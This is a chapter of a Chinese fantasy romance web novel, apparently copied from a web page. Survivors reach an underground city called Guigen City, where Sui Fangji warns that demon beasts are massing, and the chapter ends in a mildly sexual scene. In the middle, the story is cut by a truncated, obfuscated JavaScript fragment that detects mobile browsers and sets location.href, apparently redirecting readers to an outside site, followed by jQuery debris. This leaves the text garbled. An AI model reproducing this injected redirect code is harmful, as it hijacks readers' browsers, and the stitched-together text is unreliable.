牧九良、曲梁等人前后成排，跟着前方的七八个领路人走着，宋守竹跟在后面，叶循、和白虎则同先前那个女子走在最后。


    这是一片枯树林，面积巨大，林中偶尔可见新奇的植株存活，他们已七拐八拐走了许久。


    牧九良观察着前方的领头人，男女皆有，皆是青壮年。只是灵力都很低微，甚至有几个没有灵力，像是普通人。


    但没有灵力的普通人能在珊瑚群岛外存活吗？


    牧九良觉得是他们有什么更加高深方法，可以不让别人看出自己的修为。


    他又忍不住望了望队伍的后方，不知她们在说什么，要将他们带到何处去。


    曲梁也在不时回头张望。


    那名女子说是掌门与几位峰主的故人，他应当也认得，她的声音他现在回想渐渐觉得有些熟悉，但还是想不起来是谁。


    珊瑚群岛一行人，排在最后的，是聂惩背着那个晕倒的小孩儿。聂惩是先前那五个开阵人之一，清荷倒没有来。


    「你们竟用了蛊童？」宋守竹传音过来。


    聂惩传音回：「你竟真的倒戈向她？」


    宋守竹：「蛊童早已失传……清荷炼出来的？为了杀她，这么不择手段？」


    聂惩：「受人逼迫，清荷不得不做。」


    宋守竹：「这孩子是什么人？」


    聂惩：「原是灵兽岛上幸存的一只小妖，到东梁不过三日，就被他们抓了。」


    宋守竹：「引蛊在你手里？」


    聂惩：「守竹，你为何要帮她？她可是要杀了所有人！」


    宋守竹：「她还没有杀任何人。」


    「可是……」聂惩顿了下，道：「你身上的毒离毒发没有多少时日了吧？不杀她，你会死在所有人之前！」


    宋守竹不再答话，聂惩也只能叹了口气默默往前。


    队伍的最后。


    女子还在问叶循：“牡丹……庄峰主，她还是峰主吧？是怎么死的？”


    叶循脑中总结了下，说了古雁门众人的下场。


    “君兰，她的魂魄……”


    叶循：“知道宴博华真正的死因后，她就被超度了。”


    “她们可有说过什么……”她似乎找不到好的表达，未说下去。


    “关于她们师父的话么？”叶循问。


    她驻足看向叶循，“姑娘知道我？”


    叶循：“隋峰主，隋芳机，是吗？”


    一行人七拐八拐走到了一棵巨树前，得二十个成人才能合抱。


    树根处有个洞口，领路人带着他们钻了进去。


    “外面设了阵法，阻挡妖兽和瘴气。”隋芳机解释道。


    通道蜿蜒着往下，走了小半个时辰，眼前出现一道大门，守着几名彪形大汉，门口有三个人在排队进入。


    领路那几人和隋芳机进入地道后，便解了御瘴服。


    排队的那三人都回过头来打招呼，“阿德、小羽……隋娘子，你们回来了？又遇到新的幸存者了么？”


    “哇！还有只这么威风的白虎啊！”


    “它会咬人么？”


    白虎朝叶循身后躲。


    隋芳机：“这只白虎是神兽，不会咬人的。”


    大汉查看过道：“进去罢。”


    大门打开，背后露出一个巨大的空间。一束根系由门口向前延伸，形成了一道桥，底下是一条幽深的暗河。


    桥的那边，粗壮的树根和藤蔓在空中蟠扎交错，层层叠叠，上面挂满了灯笼，发出柔和的橙光照亮了整个空间。


    无数木屋、巢穴建在树根上，高低错落，有的单独成幢的，有的三五毗邻，有的成排组成街市，看起来就像现代商圈，百八十层的树根上遍布房屋。


    人们穿着各式衣袍走在树根上，街市上有人买卖易货，有孩童玩闹嬉戏。


    细看可见有人群中偶尔可见有人的耳朵是尖的，有人身后有翅膀，有人脚下露出个尾巴。


    这是一个人、妖、修士混居的地底城，规模比得上珊瑚群岛东梁的一个小城。


    珊瑚群岛来的众人皆惊诧于这样一个地方，目瞪口呆地跟着他们走上桥。


    “你们从什么时候开始在这里的？”牧九良忍不住问。


    那名叫阿德的青年显然看惯了新来者的惊叹表情，熟练介绍道：“自大灾难开始，归根城便在这里了。最开始是躲避灾难的几百人偶然发现这里，八百多年来就发展成了如今的模样。”


    牧九良看了眼周遭的众人，“你们不是妖，也不是修士？”


    那个叫小羽的少女道：“我们大多都是凡夫俗子，但是我们有很厉害的护卫队哦，你们要想做坏事，护卫队会把你们轰走的！”


    “芳机，回来了？”几名青年和一个白胡子老者在桥的那头相迎。


    “佟老，”隋芳机上前道，“我们跟到汜水边便跟丢了，遇到了这些人，他们是从珊瑚群岛出来的。”


    老者道：“无妨，不要跟得太紧，还是小心为上。”


    又看向叶循等人，“先带客人喝些茶水，稍事歇息罢。”


    阿德、小羽等人已然离开，叶循等人随隋芳机回了她的住处。


    一个两层的小楼正好建在根系横竖交叉处，背后伸出木板约有半个篮球场那么大，形成了悬空的后院。


    隋芳机推开前院的小门，众人依次进入。


    踩着根系形成的小径与台阶，踏上廊檐，跨门进入堂屋，十个大人一个小孩还有一只白虎几乎占满了小小的堂屋。


    隋芳机让众人坐，取水斟茶。


    曲梁从她手里接过茶，终于有机会问道：“你……你是隋峰主，你还活着？”


    隋芳机淡然一笑，“是，那时出了岛，姻缘巧合下遇到了归根城的人，就一直住在这里。”


    牧九良等人也明白过来她的身份。


    牧九良接过茶，视线扫过叶循，“隋峰主遇到什么人都会带回来么？”


    隋芳机：“你们打不过叶姑娘，若是轻举妄动，我相信叶姑娘会帮我的。”


    曲梁：“隋峰主，她才是最该提防之人？你怎能信她？”


    隋芳机最后一杯茶递给了叶循，“你们不是还全须全尾地坐在这里喝茶么？”


    曲梁：“她那是猫捉耗子，故意玩弄我们，两个月后，她就会杀了所有人！”


    隋芳机语气平淡：“可现在又一桩危急之事，或许等不到两个月，大家就都会死。”


    屋中一时安静，聂惩开口：“你说的是真的？”


    隋芳机：“你们可曾遇到了成群的妖兽？”


    众人对视一眼，再看向她，神色或凝重或疑惑。


    隋芳机：“想来你们也知晓，妖兽一直都是独自行动的，自一月前开始，时常会有兽群在周遭经过。我们跟踪观察过数次，但因修为不高，不敢靠得太近，几次都跟丢了。这次到汜水，是最远的一次。”


    牧九良：“这跟大家的性命安危有何干系？”


    隋芳机：“妖兽是在大灾难后开始出现，八百余年以来，外面人兽花草几乎死绝，我一直想，它们以什么为食，为什么仍能生生不息。


    “我偶尔会想，是不是它们与普通人兽不同，不食谷肉，而是以我们厌弃、不能忍受之物为食，比如……瘴气。”


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352155|196244||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >曲梁：“这又如何，它们要是不吃人，不正好与我们两不相干？”


    叶循此时开口：“就像你们不能在瘴气中生存，便想尽办法驱逐瘴气，它们适宜生存在瘴气中，便会想尽办法保持瘴气，甚至是让整个世界完全变成不适宜你们生存的样子。”


    音落，屋中又静谧一阵。


    一种未知的森冷感爬上众人的脊背。


    良久，聂惩才道：“所以，这些妖兽集结成群，是为了把世间永远变成适宜它们生存的模样？我们再也没有离开珊瑚群岛的可能？”


    或许连珊瑚群岛也将不复存在。


    叶循没有将这句话说出来。


    隋芳机：“我不清楚，我想请你们帮我查清，这些妖兽集结是为了什么。”


    屋中又是一阵沉默。


    隋芳机道：“诸位今日也累了，先用过晚膳稍事歇息吧，明日再商量。旁边的那两栋屋子都可以住，叶姑娘和白虎住我家，你们自便。”


    宋守竹站起来，打算和聂惩以及那个儿童一起住。


    叶循：“我有事要与宋老板商议，宋老板也住这边吧。”


    隋芳机：“我家只剩一间房了。”


    叶循：“无妨。”


    宋守竹、叶循随隋芳机踩着根系往上，来到二楼。


    隋芳机：“你们今晚住这里吧，我在楼下，有事叫我。”


    宋守竹：“多谢隋峰主。”


    叶循也向她点头致谢。


    两人进屋，木门嘎吱阖上。宋守竹刚转身，便被一只手掐住脖子按在了门上。


    这多少在他预料之内，他笑道：“阿循有什么想问的？”


    掌心按着的皮肤温热，他眼中的笑意甚至带了几分纵容的意味，叶循心中烦躁更盛，“是你告诉他们我的位置的？”


    不然牧九良他们是怎么找到她的？


    宋守竹：“我没有告诉，是他们在我身上下了追踪蛊，我今日才发现。”


    叶循：“旁人对你下蛊，你会发现不了？”


    他们让他服下那颗毒药，才会放他来找她。蛊虫应当放在了毒药中，他今日见到牧九良等人来，检查自己体内，才发现了那只追踪蛊。


    屋中燃着烛火，火焰闪动，带着她打在他身上的阴影一道闪动。


    “对不起，阿循。”他只是低低道。


    “别总道歉，道歉有什么用？”叶循松开手。


    他却抓住了她的手腕，微微低头认真看她，“阿循讨厌我了么？”


    水润黑亮的眼像两汪泉，温热的情绪潺潺涌出。


    “不至于，”叶循移开视线，“谁找来也没用。”


    宋守竹抱住了她。


    叶循微愣，“你做什么？”


    宋守竹：“阿满在踢我。”


    叶循伸手摸向他的小腹，确实有很大的冲击力，在他抱住她后逐渐减小停止。


    叶循：“不是说不太疼？”


    宋守竹埋在她颈项间闻她的味道，“你讨厌我，我就可以忍，你不讨厌，我就不想忍。”


    所以他这一路不亲近她，是以为她讨厌他？


    自己爱乱想，活该他痛！


    叶循伸手回抱住他，竹叶与雪混合的冷香进入鼻腔，身体的曲线由拥抱嵌合，她竟有了种心落回地面的踏实感。


    他的身躯温热，有鼓胀柔软的肌肉，抱起来很舒服。叶循放松下来，头靠在他的肩头，鼻尖贴近他的脖子，忍不住轻蹭了几下。


    她听见他吞咽了几下，抱着她的手臂收紧，某个器官抬头，轻抵着她。


    他在她耳边道：“阿循若不讨厌我，我会想更近一步。”